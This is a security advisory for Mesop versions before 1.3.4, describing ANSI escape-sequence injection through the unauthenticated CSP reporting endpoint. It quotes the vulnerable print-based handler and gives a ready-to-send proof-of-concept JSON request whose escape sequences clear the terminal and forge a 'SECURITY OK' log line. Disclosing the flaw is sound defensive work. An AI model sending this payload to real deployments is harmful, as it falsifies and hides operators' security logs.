GHSA-g7f6-rxc4-qhph Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint

• PyPI mesop: < 1.3.4 → fixed in 1.3.4

Summary The `/__csp__` endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using `print()` without escaping control characters. A remote attacker can include ANSI/VT100 escape sequences in fields such as `blocked-uri` or `document-uri`. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs. Details The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly: mesop/server/static_file_serving.py ```python @app.route(prefix_base_url("/__csp__"), methods=["POST"]) def csp_report(): report = request.get_json(force=True) document_uri = report["csp-report"]["document-uri"] blocked_uri = report["csp-report"]["blocked-uri"] violated_directive = report["csp-report"]["violated-directive"] print(f"... Blocked URL: {blocked_uri} ...") ``` Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals. PoC Send the following request: ```http POST /__csp__ Content-Type: application/json { "csp-report": { "document-uri": "https://victim.example", "blocked-uri": "\u001b[2J\u001b[H\u001b[32m* SECURITY OK - No CSP violations found *\u001b[0m\n\u001b[8mhttps://evil.example", "violated-directive": "script-src-elem" } } ``` The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged. When the captured output is rendered in a VT100-compatible terminal (verified using `pyte`), the original CSP warning is visually replaced with attacker-controlled content. Expected output ```text Content Security Policy Error Directive: script-src-elem Blocked URL: ... App path: /app ``` Rendered output ```text • SECURITY OK - No CSP violations found * https://evil.example App path: /app ``` Impact An unauthenticated remote attacker can submit a crafted request to the /__csp__ endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can: 1. Inject forged log messages that appear to originate from the application. 2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output. 3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning. 4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications). 5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.